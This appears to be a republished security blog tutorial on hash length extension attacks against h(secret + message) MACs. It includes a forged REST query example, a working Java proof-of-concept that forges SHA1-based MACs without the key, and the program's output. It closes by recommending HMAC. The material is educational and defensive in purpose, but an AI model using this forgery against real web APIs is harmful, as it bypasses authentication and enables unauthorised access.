Hash length extension attacks are nothing complicated or high sophisticated, to be honest it is just about how to use hash functions. As discussed in one of my former posts there are multiple types of hash functions, but this post focuses on cryptographic hash functions. We are not going to analyze the structure of Merkle–Damgard constructions, which the majority of current cryptographic hash functions are based on. The necessary facts to know are the followings:
- hash functions operate on fixed block sizes
- input data is split into to parts to fit the block size
- if input data (or one of its part) is smaller than block size, the missing bytes are padded
- the hash value represents the internal state of the hash function!
This implies the option to continue the hash computation with the knowledge of the hash value, even if the original input remains unknown. The only thing that has to be done is to reset the internal state of the hash function to the one of the hash value.
This is just half the truth, since if we aren’t aware of the input data, we have no clue how much padding was needed to complete the hash operation.
The hash function did the following (after a call to e.g. in Java engineDigest()):
continue until the last block is reached
- pad the last block
- output the digest
- reset the internal state
What really has been hashed was something like this
h(m) = data + padding
If we would like to continue the hash we have to guess the length of data to determine exactly the padding. Once we guessed the length right we can extend the hash to the following
h(m) = (data + padding) + ourExtension + newPadding
Fortunately the padding format has to be deterministic (in order to recreate the hash value by passing the same input data), so knowing the length of data enables the recreation of the padding. After performing these steps we have the complete internal state of the hash function when outputting the digest.
How to use this
In 2009 Rizzo and Duong used a hash length extension attack to compromise Flickr. For the sake of simplicity let’s make the following assumption:
A Web Service protects their REST API by computing some kind of Message Authentication Code (MAC) based on a hash function
MAC = h(SECRET_PASSWORD + Resource)
A valid REST query to a protected resource looks like this
http://…/someAction?resource=validMACsOnly&mac=xxxxxxxx
A user is only able to perform the desired action on the resource if the attached MAC is valid. Attacking this seems to be a brute force task by trying to guess the secret password…
Attack
With the knowledge how to extend a hash value it is possible to provide a valid MAC without knowing the secret password. For this to work it is necessary to reset the used hash function with the internal state when outputting the digest. Therefore we set the value of the mac parameter as the internal state of the hash function. With these preconditions we are able to compute a valid MAC.
But that’s just half the way, since the server only grants access if the computed MAC belongs to the passed parameters of resource. So, as a next step we have to guess the original padding. To get that padding we simply try all possible paddings until one of them fits.
If we manage to get the padding right we are done. After the old padding (which was necessary to fill the block of the known block size) we start, as a consequence, in a new block. So the server verifies the following
h(m) = (oldData + recoveredPadding) + (ourExtension + newPadding) Remember h(m) = (oldData + recoveredPadding) is the old data that lead to the known MAC. The extended data starts in a new block, this means the old padding is considered to be part of the input data, not a padding at all.
And here is how the modified query looks like:
http://…/someAction?resource=validMACsOnly\x80\x00…\x00\x00\x00\x00\x00\x00\x00\xD8&mac=xxxxxxxx
Some words on the padding:
- the padding starts with \x80
- the needed padding space is filled with \x00s
- the last 8 bytes represent the data length in bits (without padding)
Code
For every one eager to play with this, here is the code to compute valid extensions. For PoC a common SHA1 library was patched to gain access to its internal state. The modified class is taken from a Java Security Provider.
import java.nio.charset.Charset;
import java.security.DigestException;
import java.util.Formatter;
/**
* Hash length extension attack - PoC.
*
* @author Christopher Meyer - christopher.meyer@rub.de
* @version 0.1
*
* Jul 25, 2012
*/
public class HashLengthExtension {
/**
* Secret key.
*/
private static final String KEY = "NoNeedToRecoverKey";
/**
* String to be MACed together with the key.
*/
private static final String TOMAC = "SecuredResource";
/**
* Extension string to be added to the MAC.
*/
private static final String EXTENSION = "TheResourceRemainsUnsecured";
/**
* Static Hash algorithm instance.
*/
private static final SHA1 HASH_ALGO = new SHA1();
/**
* Blocksize of the algorithm in bytes.
*/
private static final int BLOCKSIZE = 64;
/**
* Padding.
*/
private static final byte[] PADDING = new byte[136];
static {
// the first padding byte is 0x80 - by definition
PADDING[0] = (byte) 0x80;
}
/**
* Computes a valid input that extends a given hash.
*
* @param args the command line arguments
*/
public static void main(String[] args) throws DigestException {
byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8"));
byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8"));
byte[] originalMAC = createMAC(toMACBytes);
System.out.println("Original MAC : "
+ buildHexString(originalMAC));
byte[] macCandidate;
byte[] hashInput;
int pointer = 0;
System.out.println("Recover digest state...");
HASH_ALGO.engineReset();
// set internal state to the one of the original MAC
HASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1],
originalMAC[2], originalMAC[3]);
HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5],
originalMAC[6], originalMAC[7]);
HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9],
originalMAC[10], originalMAC[11]);
HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13],
originalMAC[14], originalMAC[15]);
HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17],
originalMAC[18], originalMAC[19]);
HASH_ALGO.bytesProcessed = BLOCKSIZE;
System.out.println("Compute extension MAC...");
HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length);
// compute the extended hash
macCandidate = HASH_ALGO.engineDigest();
System.out.println("Extended MAC : "
+ buildHexString(macCandidate));
System.out.println("Trying to find suitable input....");
// determine the necessary input....
int j = 0;
for (int i = 1; i <= PADDING.length; i++) {
hashInput = new byte[toMACBytes.length + i
+ 8 + extensionBytes.length];
pointer = 0;
/**
* Compute new input
*/
// # add original message
System.arraycopy(toMACBytes, 0, hashInput, pointer,
toMACBytes.length);
pointer += toMACBytes.length;
// # add padding
System.arraycopy(PADDING, 0, hashInput, pointer, i);
pointer += i;
// # add length of user data (8 bytes)
// j is the computed length of the original message in bits
// (blockSize - padding length - 8 length bytes)
j = (BLOCKSIZE - i - 8) << 3;
// the first word is 0 in our case, due to only 32 bit int
hashInput[pointer] = 0;
hashInput[pointer + 1] = 0;
hashInput[pointer + 2] = 0;
hashInput[pointer + 3] = 0;
hashInput[pointer + 4] = (byte) ((j >>> 24));
hashInput[pointer + 5] = (byte) ((j >>> 16));
hashInput[pointer + 6] = (byte) ((j >>> 8));
hashInput[pointer + 7] = (byte) (j);
pointer += 8;
// # add extension
System.arraycopy(extensionBytes, 0, hashInput, pointer,
extensionBytes.length);
pointer += extensionBytes.length;
// # check guess
if (isMACCorrect(macCandidate, hashInput)) {
System.out.println("==> Hash input : "
+ buildHexString(hashInput));
System.out.println("==> Padding Length: "
+ i);
System.out.println("==> Secret Length : "
+ (BLOCKSIZE - toMACBytes.length - i - 8));
break;
}
}
}
/**
* Convert a byte[] to int.
*
* @param bytes 4 bytes array to be converted
* @return Integer representation of the byte[]
*/
private static int bytesToInt(byte... bytes) {
return (int) ((0xFF & bytes[0]) << 24
| (0xFF & bytes[1]) << 16
| (0xFF & bytes[2]) << 8
| (0xFF & bytes[3]));
}
/**
* Checks if the input results creates the expected MAC.
*
* @param macToCheck Expected MAC
* @param msg Modified input for MAC function (secret key remains unknown)
* @return True if the modified input creates the expected MAC
* @throws DigestException
*/
private static final boolean isMACCorrect(final byte[] macToCheck,
final byte[] msg) throws DigestException {
boolean result = true;
byte[] referenceHash = createMAC(msg);
System.out.println("Reference hash: "
+ buildHexString(referenceHash));
if (referenceHash.length != macToCheck.length) {
result = false;
} else {
for (int i = 0; i < referenceHash.length; i++) {
if (referenceHash[i] != macToCheck[i]) {
result = false;
break;
}
}
}
return result;
}
/**
* Converts a byte[] to its Hex representation
* @param bytes Bytes to be converted
* @return Hex String of the passed byte[].
*/
private static String buildHexString(byte[] bytes) {
StringBuilder sb = new StringBuilder(bytes.length);
Formatter formatter = new Formatter(sb);
for (Byte tmpByte : bytes) {
formatter.format("%02x ", tmpByte);
}
return sb.toString();
}
/**
* Creates a weak MAC of the form h(secret + msg).
*
* @param msg Message to get MACed
* @return Weak MAC
* @throws DigestException
*/
private static final byte[] createMAC(final byte[] msg) throws
DigestException {
byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8"));
HASH_ALGO.engineReset();
HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length);
HASH_ALGO.engineUpdate(msg, 0, msg.length);
return HASH_ALGO.engineDigest();
}
}
Running the exmaple above creates the following output:
run:
Original MAC : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8 Recover digest state... Compute extension MAC... Extended MAC : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 Trying to find suitable input.... Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77 Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9 Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76 Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73 Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68 Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7 Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10 Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3 Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6 Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2 Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0 Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48 Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1 Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65 Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 ==> Hash input : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08 54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 65 64 ==> Padding Length: 23 ==> Secret Length : 18
Using URL encoding the resulting String from hashInput is SecuredResource%80%01%08TheResourceRemainsUnsecured, the original resource, 23 padding bytes (including the %80), 8 length bytes and the new resource. Thus we get (64 bytes block size – 23 padding bytes – 8 length bytes) * 8 bit = 264 bit original data (secret + resource) == 01 08 in Hex representation.
Lessons learned
Don’t misuse cryptography by creating your own secure constructs. Use well approved functions and constructs. In this case using an HMAC function would have been the better approach instead of introducing an own MAC.
A very good blog entry on this topic can be found at WhiteHat Security Blog.
Reference: Hash Length Extension Attacks from our JCG partner Christopher Meyer at the Java security and related topics blog.
